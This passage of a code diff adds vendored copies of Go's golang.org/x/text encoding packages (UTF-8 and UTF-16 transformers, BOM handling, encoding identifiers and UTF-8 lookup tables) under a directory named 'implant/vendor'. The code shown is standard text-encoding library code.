+// TODO: consider making this error public in some form.
+type repertoireError interface {
+	Replacement() byte
+}
+
+func (h errorHandler) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	nDst, nSrc, err = h.Transformer.Transform(dst, src, atEOF)
+	for err != nil {
+		rerr, ok := err.(repertoireError)
+		if !ok {
+			return nDst, nSrc, err
+		}
+		r, sz := utf8.DecodeRune(src[nSrc:])
+		n, ok := h.handler(dst[nDst:], r, rerr)
+		if !ok {
+			return nDst, nSrc, transform.ErrShortDst
+		}
+		err = nil
+		nDst += n
+		if nSrc += sz; nSrc < len(src) {
+			var dn, sn int
+			dn, sn, err = h.Transformer.Transform(dst[nDst:], src[nSrc:], atEOF)
+			nDst += dn
+			nSrc += sn
+		}
+	}
+	return nDst, nSrc, err
+}
+
+func errorToHTML(dst []byte, r rune, err repertoireError) (n int, ok bool) {
+	buf := [8]byte{}
+	b := strconv.AppendUint(buf[:0], uint64(r), 10)
+	if n = len(b) + len("&#;"); n >= len(dst) {
+		return 0, false
+	}
+	dst[0] = '&'
+	dst[1] = '#'
+	dst[copy(dst[2:], b)+2] = ';'
+	return n, true
+}
+
+func errorToReplacement(dst []byte, r rune, err repertoireError) (n int, ok bool) {
+	if len(dst) == 0 {
+		return 0, false
+	}
+	dst[0] = err.Replacement()
+	return 1, true
+}
+
+// ErrInvalidUTF8 means that a transformer encountered invalid UTF-8.
+var ErrInvalidUTF8 = errors.New("encoding: invalid UTF-8")
+
+// UTF8Validator is a transformer that returns ErrInvalidUTF8 on the first
+// input byte that is not valid UTF-8.
+var UTF8Validator transform.Transformer = utf8Validator{}
+
+type utf8Validator struct{ transform.NopResetter }
+
+func (utf8Validator) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	n := len(src)
+	if n > len(dst) {
+		n = len(dst)
+	}
+	for i := 0; i < n; {
+		if c := src[i]; c < utf8.RuneSelf {
+			dst[i] = c
+			i++
+			continue
+		}
+		_, size := utf8.DecodeRune(src[i:])
+		if size == 1 {
+			// All valid runes of size 1 (those below utf8.RuneSelf) were
+			// handled above. We have invalid UTF-8 or we haven't seen the
+			// full character yet.
+			err = ErrInvalidUTF8
+			if !atEOF && !utf8.FullRune(src[i:]) {
+				err = transform.ErrShortSrc
+			}
+			return i, i, err
+		}
+		if i+size > len(dst) {
+			return i, i, transform.ErrShortDst
+		}
+		for ; size > 0; size-- {
+			dst[i] = src[i]
+			i++
+		}
+	}
+	if len(src) > len(dst) {
+		err = transform.ErrShortDst
+	}
+	return n, n, err
+}

implant/vendor/golang.org/x/text/encoding/internal/identifier/identifier.go

@@ -0,0 +1,81 @@
+// Copyright 2015 The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+//go:generate go run gen.go
+
+// Package identifier defines the contract between implementations of Encoding
+// and Index by defining identifiers that uniquely identify standardized coded
+// character sets (CCS) and character encoding schemes (CES), which we will
+// together refer to as encodings, for which Encoding implementations provide
+// converters to and from UTF-8. This package is typically only of concern to
+// implementers of Indexes and Encodings.
+//
+// One part of the identifier is the MIB code, which is defined by IANA and
+// uniquely identifies a CCS or CES. Each code is associated with data that
+// references authorities, official documentation as well as aliases and MIME
+// names.
+//
+// Not all CESs are covered by the IANA registry. The "other" string that is
+// returned by ID can be used to identify other character sets or versions of
+// existing ones.
+//
+// It is recommended that each package that provides a set of Encodings provide
+// the All and Common variables to reference all supported encodings and
+// commonly used subset. This allows Index implementations to include all
+// available encodings without explicitly referencing or knowing about them.
+package identifier
+
+// Note: this package is internal, but could be made public if there is a need
+// for writing third-party Indexes and Encodings.
+
+// References:
+// - http://source.icu-project.org/repos/icu/icu/trunk/source/data/mappings/convrtrs.txt
+// - http://www.iana.org/assignments/character-sets/character-sets.xhtml
+// - http://www.iana.org/assignments/ianacharset-mib/ianacharset-mib
+// - http://www.ietf.org/rfc/rfc2978.txt
+// - https://www.unicode.org/reports/tr22/
+// - http://www.w3.org/TR/encoding/
+// - https://encoding.spec.whatwg.org/
+// - https://encoding.spec.whatwg.org/encodings.json
+// - https://tools.ietf.org/html/rfc6657#section-5
+
+// Interface can be implemented by Encodings to define the CCS or CES for which
+// it implements conversions.
+type Interface interface {
+	// ID returns an encoding identifier. Exactly one of the mib and other
+	// values should be non-zero.
+	//
+	// In the usual case it is only necessary to indicate the MIB code. The
+	// other string can be used to specify encodings for which there is no MIB,
+	// such as "x-mac-dingbat".
+	//
+	// The other string may only contain the characters a-z, A-Z, 0-9, - and _.
+	ID() (mib MIB, other string)
+
+	// NOTE: the restrictions on the encoding are to allow extending the syntax
+	// with additional information such as versions, vendors and other variants.
+}
+
+// A MIB identifies an encoding. It is derived from the IANA MIB codes and adds
+// some identifiers for some encodings that are not covered by the IANA
+// standard.
+//
+// See http://www.iana.org/assignments/ianacharset-mib.
+type MIB uint16
+
+// These additional MIB types are not defined in IANA. They are added because
+// they are common and defined within the text repo.
+const (
+	// Unofficial marks the start of encodings not registered by IANA.
+	Unofficial MIB = 10000 + iota
+
+	// Replacement is the WhatWG replacement encoding.
+	Replacement
+
+	// XUserDefined is the code for x-user-defined.
+	XUserDefined
+
+	// MacintoshCyrillic is the code for x-mac-cyrillic.
+	MacintoshCyrillic
+)

implant/vendor/golang.org/x/text/encoding/internal/internal.go

@@ -0,0 +1,75 @@
+// Copyright 2015 The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+// Package internal contains code that is shared among encoding implementations.
+package internal
+
+import (
+	"golang.org/x/text/encoding"
+	"golang.org/x/text/encoding/internal/identifier"
+	"golang.org/x/text/transform"
+)
+
+// Encoding is an implementation of the Encoding interface that adds the String
+// and ID methods to an existing encoding.
+type Encoding struct {
+	encoding.Encoding
+	Name string
+	MIB  identifier.MIB
+}
+
+// _ verifies that Encoding implements identifier.Interface.
+var _ identifier.Interface = (*Encoding)(nil)
+
+func (e *Encoding) String() string {
+	return e.Name
+}
+
+func (e *Encoding) ID() (mib identifier.MIB, other string) {
+	return e.MIB, ""
+}
+
+// SimpleEncoding is an Encoding that combines two Transformers.
+type SimpleEncoding struct {
+	Decoder transform.Transformer
+	Encoder transform.Transformer
+}
+
+func (e *SimpleEncoding) NewDecoder() *encoding.Decoder {
+	return &encoding.Decoder{Transformer: e.Decoder}
+}
+
+func (e *SimpleEncoding) NewEncoder() *encoding.Encoder {
+	return &encoding.Encoder{Transformer: e.Encoder}
+}
+
+// FuncEncoding is an Encoding that combines two functions returning a new
+// Transformer.
+type FuncEncoding struct {
+	Decoder func() transform.Transformer
+	Encoder func() transform.Transformer
+}
+
+func (e FuncEncoding) NewDecoder() *encoding.Decoder {
+	return &encoding.Decoder{Transformer: e.Decoder()}
+}
+
+func (e FuncEncoding) NewEncoder() *encoding.Encoder {
+	return &encoding.Encoder{Transformer: e.Encoder()}
+}
+
+// A RepertoireError indicates a rune is not in the repertoire of a destination
+// encoding. It is associated with an encoding-specific suggested replacement
+// byte.
+type RepertoireError byte
+
+// Error implements the error interrface.
+func (r RepertoireError) Error() string {
+	return "encoding: rune not supported by encoding."
+}
+
+// Replacement returns the replacement string associated with this error.
+func (r RepertoireError) Replacement() byte { return byte(r) }
+
+var ErrASCIIReplacement = RepertoireError(encoding.ASCIISub)

implant/vendor/golang.org/x/text/encoding/unicode/override.go

@@ -0,0 +1,82 @@
+// Copyright 2015 The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+package unicode
+
+import (
+	"golang.org/x/text/transform"
+)
+
+// BOMOverride returns a new decoder transformer that is identical to fallback,
+// except that the presence of a Byte Order Mark at the start of the input
+// causes it to switch to the corresponding Unicode decoding. It will only
+// consider BOMs for UTF-8, UTF-16BE, and UTF-16LE.
+//
+// This differs from using ExpectBOM by allowing a BOM to switch to UTF-8, not
+// just UTF-16 variants, and allowing falling back to any encoding scheme.
+//
+// This technique is recommended by the W3C for use in HTML 5: "For
+// compatibility with deployed content, the byte order mark (also known as BOM)
+// is considered more authoritative than anything else."
+// http://www.w3.org/TR/encoding/#specification-hooks
+//
+// Using BOMOverride is mostly intended for use cases where the first characters
+// of a fallback encoding are known to not be a BOM, for example, for valid HTML
+// and most encodings.
+func BOMOverride(fallback transform.Transformer) transform.Transformer {
+	// TODO: possibly allow a variadic argument of unicode encodings to allow
+	// specifying details of which fallbacks are supported as well as
+	// specifying the details of the implementations. This would also allow for
+	// support for UTF-32, which should not be supported by default.
+	return &bomOverride{fallback: fallback}
+}
+
+type bomOverride struct {
+	fallback transform.Transformer
+	current  transform.Transformer
+}
+
+func (d *bomOverride) Reset() {
+	d.current = nil
+	d.fallback.Reset()
+}
+
+var (
+	// TODO: we could use decode functions here, instead of allocating a new
+	// decoder on every NewDecoder as IgnoreBOM decoders can be stateless.
+	utf16le = UTF16(LittleEndian, IgnoreBOM)
+	utf16be = UTF16(BigEndian, IgnoreBOM)
+)
+
+const utf8BOM = "\ufeff"
+
+func (d *bomOverride) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	if d.current != nil {
+		return d.current.Transform(dst, src, atEOF)
+	}
+	if len(src) < 3 && !atEOF {
+		return 0, 0, transform.ErrShortSrc
+	}
+	d.current = d.fallback
+	bomSize := 0
+	if len(src) >= 2 {
+		if src[0] == 0xFF && src[1] == 0xFE {
+			d.current = utf16le.NewDecoder()
+			bomSize = 2
+		} else if src[0] == 0xFE && src[1] == 0xFF {
+			d.current = utf16be.NewDecoder()
+			bomSize = 2
+		} else if len(src) >= 3 &&
+			src[0] == utf8BOM[0] &&
+			src[1] == utf8BOM[1] &&
+			src[2] == utf8BOM[2] {
+			d.current = transform.Nop
+			bomSize = 3
+		}
+	}
+	if bomSize < len(src) {
+		nDst, nSrc, err = d.current.Transform(dst, src[bomSize:], atEOF)
+	}
+	return nDst, nSrc + bomSize, err
+}

implant/vendor/golang.org/x/text/encoding/unicode/unicode.go

@@ -0,0 +1,512 @@
+// Copyright 2013 The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+// Package unicode provides Unicode encodings such as UTF-16.
+package unicode // import "golang.org/x/text/encoding/unicode"
+
+import (
+	"bytes"
+	"errors"
+	"unicode/utf16"
+	"unicode/utf8"
+
+	"golang.org/x/text/encoding"
+	"golang.org/x/text/encoding/internal"
+	"golang.org/x/text/encoding/internal/identifier"
+	"golang.org/x/text/internal/utf8internal"
+	"golang.org/x/text/runes"
+	"golang.org/x/text/transform"
+)
+
+// TODO: I think the Transformers really should return errors on unmatched
+// surrogate pairs and odd numbers of bytes. This is not required by RFC 2781,
+// which leaves it open, but is suggested by WhatWG. It will allow for all error
+// modes as defined by WhatWG: fatal, HTML and Replacement. This would require
+// the introduction of some kind of error type for conveying the erroneous code
+// point.
+
+// UTF8 is the UTF-8 encoding. It neither removes nor adds byte order marks.
+var UTF8 encoding.Encoding = utf8enc
+
+// UTF8BOM is an UTF-8 encoding where the decoder strips a leading byte order
+// mark while the encoder adds one.
+//
+// Some editors add a byte order mark as a signature to UTF-8 files. Although
+// the byte order mark is not useful for detecting byte order in UTF-8, it is
+// sometimes used as a convention to mark UTF-8-encoded files. This relies on
+// the observation that the UTF-8 byte order mark is either an illegal or at
+// least very unlikely sequence in any other character encoding.
+var UTF8BOM encoding.Encoding = utf8bomEncoding{}
+
+type utf8bomEncoding struct{}
+
+func (utf8bomEncoding) String() string {
+	return "UTF-8-BOM"
+}
+
+func (utf8bomEncoding) ID() (identifier.MIB, string) {
+	return identifier.Unofficial, "x-utf8bom"
+}
+
+func (utf8bomEncoding) NewEncoder() *encoding.Encoder {
+	return &encoding.Encoder{
+		Transformer: &utf8bomEncoder{t: runes.ReplaceIllFormed()},
+	}
+}
+
+func (utf8bomEncoding) NewDecoder() *encoding.Decoder {
+	return &encoding.Decoder{Transformer: &utf8bomDecoder{}}
+}
+
+var utf8enc = &internal.Encoding{
+	&internal.SimpleEncoding{utf8Decoder{}, runes.ReplaceIllFormed()},
+	"UTF-8",
+	identifier.UTF8,
+}
+
+type utf8bomDecoder struct {
+	checked bool
+}
+
+func (t *utf8bomDecoder) Reset() {
+	t.checked = false
+}
+
+func (t *utf8bomDecoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	if !t.checked {
+		if !atEOF && len(src) < len(utf8BOM) {
+			if len(src) == 0 {
+				return 0, 0, nil
+			}
+			return 0, 0, transform.ErrShortSrc
+		}
+		if bytes.HasPrefix(src, []byte(utf8BOM)) {
+			nSrc += len(utf8BOM)
+			src = src[len(utf8BOM):]
+		}
+		t.checked = true
+	}
+	nDst, n, err := utf8Decoder.Transform(utf8Decoder{}, dst[nDst:], src, atEOF)
+	nSrc += n
+	return nDst, nSrc, err
+}
+
+type utf8bomEncoder struct {
+	written bool
+	t       transform.Transformer
+}
+
+func (t *utf8bomEncoder) Reset() {
+	t.written = false
+	t.t.Reset()
+}
+
+func (t *utf8bomEncoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	if !t.written {
+		if len(dst) < len(utf8BOM) {
+			return nDst, 0, transform.ErrShortDst
+		}
+		nDst = copy(dst, utf8BOM)
+		t.written = true
+	}
+	n, nSrc, err := utf8Decoder.Transform(utf8Decoder{}, dst[nDst:], src, atEOF)
+	nDst += n
+	return nDst, nSrc, err
+}
+
+type utf8Decoder struct{ transform.NopResetter }
+
+func (utf8Decoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	var pSrc int // point from which to start copy in src
+	var accept utf8internal.AcceptRange
+
+	// The decoder can only make the input larger, not smaller.
+	n := len(src)
+	if len(dst) < n {
+		err = transform.ErrShortDst
+		n = len(dst)
+		atEOF = false
+	}
+	for nSrc < n {
+		c := src[nSrc]
+		if c < utf8.RuneSelf {
+			nSrc++
+			continue
+		}
+		first := utf8internal.First[c]
+		size := int(first & utf8internal.SizeMask)
+		if first == utf8internal.FirstInvalid {
+			goto handleInvalid // invalid starter byte
+		}
+		accept = utf8internal.AcceptRanges[first>>utf8internal.AcceptShift]
+		if nSrc+size > n {
+			if !atEOF {
+				// We may stop earlier than necessary here if the short sequence
+				// has invalid bytes. Not checking for this simplifies the code
+				// and may avoid duplicate computations in certain conditions.
+				if err == nil {
+					err = transform.ErrShortSrc
+				}
+				break
+			}
+			// Determine the maximal subpart of an ill-formed subsequence.
+			switch {
+			case nSrc+1 >= n || src[nSrc+1] < accept.Lo || accept.Hi < src[nSrc+1]:
+				size = 1
+			case nSrc+2 >= n || src[nSrc+2] < utf8internal.LoCB || utf8internal.HiCB < src[nSrc+2]:
+				size = 2
+			default:
+				size = 3 // As we are short, the maximum is 3.
+			}
+			goto handleInvalid
+		}
+		if c = src[nSrc+1]; c < accept.Lo || accept.Hi < c {
+			size = 1
+			goto handleInvalid // invalid continuation byte
+		} else if size == 2 {
+		} else if c = src[nSrc+2]; c < utf8internal.LoCB || utf8internal.HiCB < c {
+			size = 2
+			goto handleInvalid // invalid continuation byte
+		} else if size == 3 {
+		} else if c = src[nSrc+3]; c < utf8internal.LoCB || utf8internal.HiCB < c {
+			size = 3
+			goto handleInvalid // invalid continuation byte
+		}
+		nSrc += size
+		continue
+
+	handleInvalid:
+		// Copy the scanned input so far.
+		nDst += copy(dst[nDst:], src[pSrc:nSrc])
+
+		// Append RuneError to the destination.
+		const runeError = "\ufffd"
+		if nDst+len(runeError) > len(dst) {
+			return nDst, nSrc, transform.ErrShortDst
+		}
+		nDst += copy(dst[nDst:], runeError)
+
+		// Skip the maximal subpart of an ill-formed subsequence according to
+		// the W3C standard way instead of the Go way. This Transform is
+		// probably the only place in the text repo where it is warranted.
+		nSrc += size
+		pSrc = nSrc
+
+		// Recompute the maximum source length.
+		if sz := len(dst) - nDst; sz < len(src)-nSrc {
+			err = transform.ErrShortDst
+			n = nSrc + sz
+			atEOF = false
+		}
+	}
+	return nDst + copy(dst[nDst:], src[pSrc:nSrc]), nSrc, err
+}
+
+// UTF16 returns a UTF-16 Encoding for the given default endianness and byte
+// order mark (BOM) policy.
+//
+// When decoding from UTF-16 to UTF-8, if the BOMPolicy is IgnoreBOM then
+// neither BOMs U+FEFF nor noncharacters U+FFFE in the input stream will affect
+// the endianness used for decoding, and will instead be output as their
+// standard UTF-8 encodings: "\xef\xbb\xbf" and "\xef\xbf\xbe". If the BOMPolicy
+// is UseBOM or ExpectBOM a staring BOM is not written to the UTF-8 output.
+// Instead, it overrides the default endianness e for the remainder of the
+// transformation. Any subsequent BOMs U+FEFF or noncharacters U+FFFE will not
+// affect the endianness used, and will instead be output as their standard
+// UTF-8 encodings. For UseBOM, if there is no starting BOM, it will proceed
+// with the default Endianness. For ExpectBOM, in that case, the transformation
+// will return early with an ErrMissingBOM error.
+//
+// When encoding from UTF-8 to UTF-16, a BOM will be inserted at the start of
+// the output if the BOMPolicy is UseBOM or ExpectBOM. Otherwise, a BOM will not
+// be inserted. The UTF-8 input does not need to contain a BOM.
+//
+// There is no concept of a 'native' endianness. If the UTF-16 data is produced
+// and consumed in a greater context that implies a certain endianness, use
+// IgnoreBOM. Otherwise, use ExpectBOM and always produce and consume a BOM.
+//
+// In the language of https://www.unicode.org/faq/utf_bom.html#bom10, IgnoreBOM
+// corresponds to "Where the precise type of the data stream is known... the
+// BOM should not be used" and ExpectBOM corresponds to "A particular
+// protocol... may require use of the BOM".
+func UTF16(e Endianness, b BOMPolicy) encoding.Encoding {
+	return utf16Encoding{config{e, b}, mibValue[e][b&bomMask]}
+}
+
+// mibValue maps Endianness and BOMPolicy settings to MIB constants. Note that
+// some configurations map to the same MIB identifier. RFC 2781 has requirements
+// and recommendations. Some of the "configurations" are merely recommendations,
+// so multiple configurations could match.
+var mibValue = map[Endianness][numBOMValues]identifier.MIB{
+	BigEndian: [numBOMValues]identifier.MIB{
+		IgnoreBOM: identifier.UTF16BE,
+		UseBOM:    identifier.UTF16, // BigEnding default is preferred by RFC 2781.
+		// TODO: acceptBOM | strictBOM would map to UTF16BE as well.
+	},
+	LittleEndian: [numBOMValues]identifier.MIB{
+		IgnoreBOM: identifier.UTF16LE,
+		UseBOM:    identifier.UTF16, // LittleEndian default is allowed and preferred on Windows.
+		// TODO: acceptBOM | strictBOM would map to UTF16LE as well.
+	},
+	// ExpectBOM is not widely used and has no valid MIB identifier.
+}
+
+// All lists a configuration for each IANA-defined UTF-16 variant.
+var All = []encoding.Encoding{
+	UTF8,
+	UTF16(BigEndian, UseBOM),
+	UTF16(BigEndian, IgnoreBOM),
+	UTF16(LittleEndian, IgnoreBOM),
+}
+
+// BOMPolicy is a UTF-16 encoding's byte order mark policy.
+type BOMPolicy uint8
+
+const (
+	writeBOM   BOMPolicy = 0x01
+	acceptBOM  BOMPolicy = 0x02
+	requireBOM BOMPolicy = 0x04
+	bomMask    BOMPolicy = 0x07
+
+	// HACK: numBOMValues == 8 triggers a bug in the 1.4 compiler (cannot have a
+	// map of an array of length 8 of a type that is also used as a key or value
+	// in another map). See golang.org/issue/11354.
+	// TODO: consider changing this value back to 8 if the use of 1.4.* has
+	// been minimized.
+	numBOMValues = 8 + 1
+
+	// IgnoreBOM means to ignore any byte order marks.
+	IgnoreBOM BOMPolicy = 0
+	// Common and RFC 2781-compliant interpretation for UTF-16BE/LE.
+
+	// UseBOM means that the UTF-16 form may start with a byte order mark, which
+	// will be used to override the default encoding.
+	UseBOM BOMPolicy = writeBOM | acceptBOM
+	// Common and RFC 2781-compliant interpretation for UTF-16.
+
+	// ExpectBOM means that the UTF-16 form must start with a byte order mark,
+	// which will be used to override the default encoding.
+	ExpectBOM BOMPolicy = writeBOM | acceptBOM | requireBOM
+	// Used in Java as Unicode (not to be confused with Java's UTF-16) and
+	// ICU's UTF-16,version=1. Not compliant with RFC 2781.
+
+	// TODO (maybe): strictBOM: BOM must match Endianness. This would allow:
+	// - UTF-16(B|L)E,version=1: writeBOM | acceptBOM | requireBOM | strictBOM
+	//    (UnicodeBig and UnicodeLittle in Java)
+	// - RFC 2781-compliant, but less common interpretation for UTF-16(B|L)E:
+	//    acceptBOM | strictBOM (e.g. assigned to CheckBOM).
+	// This addition would be consistent with supporting ExpectBOM.
+)
+
+// Endianness is a UTF-16 encoding's default endianness.
+type Endianness bool
+
+const (
+	// BigEndian is UTF-16BE.
+	BigEndian Endianness = false
+	// LittleEndian is UTF-16LE.
+	LittleEndian Endianness = true
+)
+
+// ErrMissingBOM means that decoding UTF-16 input with ExpectBOM did not find a
+// starting byte order mark.
+var ErrMissingBOM = errors.New("encoding: missing byte order mark")
+
+type utf16Encoding struct {
+	config
+	mib identifier.MIB
+}
+
+type config struct {
+	endianness Endianness
+	bomPolicy  BOMPolicy
+}
+
+func (u utf16Encoding) NewDecoder() *encoding.Decoder {
+	return &encoding.Decoder{Transformer: &utf16Decoder{
+		initial: u.config,
+		current: u.config,
+	}}
+}
+
+func (u utf16Encoding) NewEncoder() *encoding.Encoder {
+	return &encoding.Encoder{Transformer: &utf16Encoder{
+		endianness:       u.endianness,
+		initialBOMPolicy: u.bomPolicy,
+		currentBOMPolicy: u.bomPolicy,
+	}}
+}
+
+func (u utf16Encoding) ID() (mib identifier.MIB, other string) {
+	return u.mib, ""
+}
+
+func (u utf16Encoding) String() string {
+	e, b := "B", ""
+	if u.endianness == LittleEndian {
+		e = "L"
+	}
+	switch u.bomPolicy {
+	case ExpectBOM:
+		b = "Expect"
+	case UseBOM:
+		b = "Use"
+	case IgnoreBOM:
+		b = "Ignore"
+	}
+	return "UTF-16" + e + "E (" + b + " BOM)"
+}
+
+type utf16Decoder struct {
+	initial config
+	current config
+}
+
+func (u *utf16Decoder) Reset() {
+	u.current = u.initial
+}
+
+func (u *utf16Decoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	if len(src) < 2 && atEOF && u.current.bomPolicy&requireBOM != 0 {
+		return 0, 0, ErrMissingBOM
+	}
+	if len(src) == 0 {
+		return 0, 0, nil
+	}
+	if len(src) >= 2 && u.current.bomPolicy&acceptBOM != 0 {
+		switch {
+		case src[0] == 0xfe && src[1] == 0xff:
+			u.current.endianness = BigEndian
+			nSrc = 2
+		case src[0] == 0xff && src[1] == 0xfe:
+			u.current.endianness = LittleEndian
+			nSrc = 2
+		default:
+			if u.current.bomPolicy&requireBOM != 0 {
+				return 0, 0, ErrMissingBOM
+			}
+		}
+		u.current.bomPolicy = IgnoreBOM
+	}
+
+	var r rune
+	var dSize, sSize int
+	for nSrc < len(src) {
+		if nSrc+1 < len(src) {
+			x := uint16(src[nSrc+0])<<8 | uint16(src[nSrc+1])
+			if u.current.endianness == LittleEndian {
+				x = x>>8 | x<<8
+			}
+			r, sSize = rune(x), 2
+			if utf16.IsSurrogate(r) {
+				if nSrc+3 < len(src) {
+					x = uint16(src[nSrc+2])<<8 | uint16(src[nSrc+3])
+					if u.current.endianness == LittleEndian {
+						x = x>>8 | x<<8
+					}
+					// Save for next iteration if it is not a high surrogate.
+					if isHighSurrogate(rune(x)) {
+						r, sSize = utf16.DecodeRune(r, rune(x)), 4
+					}
+				} else if !atEOF {
+					err = transform.ErrShortSrc
+					break
+				}
+			}
+			if dSize = utf8.RuneLen(r); dSize < 0 {
+				r, dSize = utf8.RuneError, 3
+			}
+		} else if atEOF {
+			// Single trailing byte.
+			r, dSize, sSize = utf8.RuneError, 3, 1
+		} else {
+			err = transform.ErrShortSrc
+			break
+		}
+		if nDst+dSize > len(dst) {
+			err = transform.ErrShortDst
+			break
+		}
+		nDst += utf8.EncodeRune(dst[nDst:], r)
+		nSrc += sSize
+	}
+	return nDst, nSrc, err
+}
+
+func isHighSurrogate(r rune) bool {
+	return 0xDC00 <= r && r <= 0xDFFF
+}
+
+type utf16Encoder struct {
+	endianness       Endianness
+	initialBOMPolicy BOMPolicy
+	currentBOMPolicy BOMPolicy
+}
+
+func (u *utf16Encoder) Reset() {
+	u.currentBOMPolicy = u.initialBOMPolicy
+}
+
+func (u *utf16Encoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	if u.currentBOMPolicy&writeBOM != 0 {
+		if len(dst) < 2 {
+			return 0, 0, transform.ErrShortDst
+		}
+		dst[0], dst[1] = 0xfe, 0xff
+		u.currentBOMPolicy = IgnoreBOM
+		nDst = 2
+	}
+
+	r, size := rune(0), 0
+	for nSrc < len(src) {
+		r = rune(src[nSrc])
+
+		// Decode a 1-byte rune.
+		if r < utf8.RuneSelf {
+			size = 1
+
+		} else {
+			// Decode a multi-byte rune.
+			r, size = utf8.DecodeRune(src[nSrc:])
+			if size == 1 {
+				// All valid runes of size 1 (those below utf8.RuneSelf) were
+				// handled above. We have invalid UTF-8 or we haven't seen the
+				// full character yet.
+				if !atEOF && !utf8.FullRune(src[nSrc:]) {
+					err = transform.ErrShortSrc
+					break
+				}
+			}
+		}
+
+		if r <= 0xffff {
+			if nDst+2 > len(dst) {
+				err = transform.ErrShortDst
+				break
+			}
+			dst[nDst+0] = uint8(r >> 8)
+			dst[nDst+1] = uint8(r)
+			nDst += 2
+		} else {
+			if nDst+4 > len(dst) {
+				err = transform.ErrShortDst
+				break
+			}
+			r1, r2 := utf16.EncodeRune(r)
+			dst[nDst+0] = uint8(r1 >> 8)
+			dst[nDst+1] = uint8(r1)
+			dst[nDst+2] = uint8(r2 >> 8)
+			dst[nDst+3] = uint8(r2)
+			nDst += 4
+		}
+		nSrc += size
+	}
+
+	if u.endianness == LittleEndian {
+		for i := 0; i < nDst; i += 2 {
+			dst[i], dst[i+1] = dst[i+1], dst[i]
+		}
+	}
+	return nDst, nSrc, err
+}

implant/vendor/golang.org/x/text/internal/utf8internal/utf8internal.go

@@ -0,0 +1,87 @@
+// Copyright 2015 The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+// Package utf8internal contains low-level utf8-related constants, tables, etc.
+// that are used internally by the text package.
+package utf8internal
+
+// The default lowest and highest continuation byte.
+const (
+	LoCB = 0x80 // 1000 0000
+	HiCB = 0xBF // 1011 1111
+)
+
+// Constants related to getting information of first bytes of UTF-8 sequences.
+const (
+	// ASCII identifies a UTF-8 byte as ASCII.
+	ASCII = as
+
+	// FirstInvalid indicates a byte is invalid as a first byte of a UTF-8
+	// sequence.
+	FirstInvalid = xx
+
+	// SizeMask is a mask for the size bits. Use use x&SizeMask to get the size.
+	SizeMask = 7
+
+	// AcceptShift is the right-shift count for the first byte info byte to get
+	// the index into the AcceptRanges table. See AcceptRanges.
+	AcceptShift = 4
+
+	// The names of these constants are chosen to give nice alignment in the
+	// table below. The first nibble is an index into acceptRanges or F for
+	// special one-byte cases. The second nibble is the Rune length or the
+	// Status for the special one-byte case.
+	xx = 0xF1 // invalid: size 1
+	as = 0xF0 // ASCII: size 1
+	s1 = 0x02 // accept 0, size 2
+	s2 = 0x13 // accept 1, size 3
+	s3 = 0x03 // accept 0, size 3
+	s4 = 0x23 // accept 2, size 3
+	s5 = 0x34 // accept 3, size 4
+	s6 = 0x04 // accept 0, size 4
+	s7 = 0x44 // accept 4, size 4
+)
+
+// First is information about the first byte in a UTF-8 sequence.
+var First = [256]uint8{
+	//   1   2   3   4   5   6   7   8   9   A   B   C   D   E   F
+	as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x00-0x0F
+	as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x10-0x1F
+	as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x20-0x2F
+	as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x30-0x3F
+	as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x40-0x4F
+	as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x50-0x5F
+	as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x60-0x6F
+	as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x70-0x7F
+	//   1   2   3   4   5   6   7   8   9   A   B   C   D   E   F
+	xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, // 0x80-0x8F
+	xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, // 0x90-0x9F
+	xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, // 0xA0-0xAF
+	xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, // 0xB0-0xBF
+	xx, xx, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, // 0xC0-0xCF
+	s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, // 0xD0-0xDF
+	s2, s3, s3, s3, s3, s3, s3, s3, s3, s3, s3, s3, s3, s4, s3, s3, // 0xE0-0xEF
+	s5, s6, s6, s6, s7, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, // 0xF0-0xFF
+}
+
+// AcceptRange gives the range of valid values for the second byte in a UTF-8
+// sequence for any value for First that is not ASCII or FirstInvalid.
+type AcceptRange struct {
+	Lo uint8 // lowest value for second byte.
+	Hi uint8 // highest value for second byte.
+}
+
+// AcceptRanges is a slice of AcceptRange values. For a given byte sequence b
+//
+//		AcceptRanges[First[b[0]]>>AcceptShift]
+//
+// will give the value of AcceptRange for the multi-byte UTF-8 sequence starting
+// at b[0].
+var AcceptRanges = [...]AcceptRange{
+	0: {LoCB, HiCB},
+	1: {0xA0, HiCB},
+	2: {LoCB, 0x9F},
+	3: {0x90, HiCB},
+	4: {LoCB, 0x8F},
+}

implant/vendor/golang.org/x/text/runes/cond.go

@@ -0,0 +1,187 @@
